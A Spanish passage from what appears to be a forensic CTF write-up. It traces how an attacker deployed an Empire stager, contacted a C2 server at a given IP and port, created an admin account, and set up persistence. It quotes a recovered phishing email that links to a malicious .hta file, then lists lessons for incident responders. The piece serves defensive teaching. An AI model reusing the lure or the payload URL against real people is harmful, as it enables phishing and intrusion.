A raíz de lo que hemos podido recuperar, el atacante ha desplegado un stager de Empire, se ha comunicado con el C2 en 128.199.170.85:8080 y se ha descargado un agente complete. A continuación ha creado una cuenta de usuario con privilegios de administrador y ha establecido un mecanismo de persistencia en el equipo. Se asume que de alguna forma ha logrado borrar el directorio con las pruebas incriminatorias, y luego ha lanzado los mensajes al usuario.

Solo nos queda responder a una pregunta: ¿cómo ha llegado el malware y se ha ejecutado en el sistema? Dado que la ejecución ha sido a través de un .hta tiene sentido pensar que ha sido mediante alguna actividad web, así que vamos a revisar el correo de ProtonMail para ver si encontramos algo.

Cuesta un poco, y solo tenemos retazos, pero podemos recuperar lo que parece un correo de SC a RM:

 <div><br></div><div class="protonmail_signature_block ">
<div class="protonmail_signature_block-user "><br></div>
<div class="protonmail_signature_block-proton ">Sent with <
<div>Well Roger, I can see when I've losht. went and read some forum posts containing chritichisms about `I honestly hash to say@ m humbled asshhamed.<br>
<br></div><div><br></div><div>Check this one for inschtance: http://128.199.170.85/conneryhaters.hta</div>

Al parecer SC ha empleado un poco de ingeniería social y ha engañado vilmente a RM para que acceda al .hta y lo abra.

Conclusiones
Ha sido un CTF interesante, del que podemos extraer unas cuentas conclusiones:

  • Ten claros los objetivos: en muchos casos el tiempo es limitado, y hay que aprovechar el esfuerzo al máximo.
  • No te fíes a ciegas de los resultados de las herramientas: en caso de cualquier duda usa otra herramienta o técnica. Confía en tu instinto si algo no suena bien.
  • Aprende a usar la herramienta adecuada para cada tarea: en algunos casos hay herramientas mucho más eficientes que otras. Aunque sean más complicadas o estén en un SO que no sea tu favorito, apréndetelas.
  • Conocer las estructuras de datos internas siempre es bueno, ya que de esta forma sabes exactamente dónde y cómo están almacenados los datos.
  • A día de hoy tienes que conocer Volatility como la palma de tu mano ya que es potentísimo. Sácale todo el juego que puedas.
  • Los historiales de búsqueda son minas de oro: lleva siempre un pico encima y busca premio, que (casi) siempre toca.
  • Tanto Windows como Linux tienen sus fortalezas y debilidades como plataforma forense. Apréndelas y sé capaz de defenderte en ambos entornos con soltura.
  • Si eres un chico de azul, aprende algo de rojo (y viceversa): saber cómo trabajan los atacantes hace que seamos muchísimo más eficientes en nuestra respuesta. Si en tu equipo hay un pentester, pégate a él y que te enseñe cosas. Una de las tendencias de seguridad más interesantes es la de los equipos púrpura, que mezclan tanto ofensa como defensa.

Y quizás la más importante: practica, practica, practica, aprende y comparte

Referencias:

Post anteriores: